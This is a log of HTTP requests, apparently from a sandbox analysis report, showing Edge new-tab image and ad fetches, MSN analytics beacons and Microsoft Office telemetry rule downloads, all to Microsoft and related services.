Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msKSh.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA13Q6AL.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAc9vHK.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1lFz6G.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1hk7Sh.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /v4/api/selection?nct=1&fmt=json&nocookie=0&locale=en-us&country=US&muid=1E3415CF46DC6CBF03A7008B47566DA7&ACHANNEL=4&ABUILD=117.0.5938.132&clr=esdk&edgeid=-2063246587742936609&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&ISSIGNEDIN=0&MSN_CANVAS=2&ISMOBILE=0&BROWSER=6&placement=88000308\|10837393&bcnt=1\|1&asid=7ac55775b38d4ce1ad21f0d112a8f077 HTTP/1.1Host: arc.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; USRLOC=; MUID=1E3415CF46DC6CBF03A7008B47566DA7; _EDGE_S=F=1&SID=26375401AFD5621E074E4145AE73634F; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1u24yb.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /b2?rn=1732728792496&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=1E3415CF46DC6CBF03A7008B47566DA7&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: UID=1652c19b4b2925cf4827dfd1732721696; XID=1652c19b4b2925cf4827dfd1732721696
Source: global traffic	HTTP traffic detected: GET /v4/api/selection?nct=1&fmt=json&nocookie=1&locale=en-us&country=US&muid=1E3415CF46DC6CBF03A7008B47566DA7&bcnt=1&placement=88000244&ACHANNEL=4&ABUILD=117.0.5938.132&clr=esdk&edgeid=-2063246587742936609&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&asid=81399e710af240dbdaca6d7425418f1f HTTP/1.1Host: arc.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=1E3415CF46DC6CBF03A7008B47566DA7; _EDGE_S=F=1&SID=26375401AFD5621E074E4145AE73634F; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msB1O.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msOZ9.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msDBP.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /c.gif?rnd=1732728792496&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=221ec520250b43099d1fa8eff7ffc145&activityId=221ec520250b43099d1fa8eff7ffc145&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=5F52A0B36D744129A8759321B8EDA26D&MUID=1E3415CF46DC6CBF03A7008B47566DA7 HTTP/1.1Host: c.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=1E3415CF46DC6CBF03A7008B47566DA7; _EDGE_S=F=1&SID=26375401AFD5621E074E4145AE73634F; _EDGE_V=1; SM=T; _C_ETH=1; msnup=
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule90401v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /filestreamingservice/files/bdc392b9-6b81-4aaa-b3ee-2fffd9562edb?P1=1733326483&P2=404&P3=2&P4=U3B%2bHWwXCX58AA8OwSxmm0snAZHgK%2fx3FNJVHG9vK%2biyz4Is6vLppT66Jmqb2drGHI9svjU6ShSUWK609Zal9A%3d%3d HTTP/1.1Host: msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.comConnection: keep-aliveMS-CV: Zz3WU/xjesE1yjRRDKBq63Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1cLbwq?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1sFuPI?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAAAWUx?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAtK5aP?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB18CMuA?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
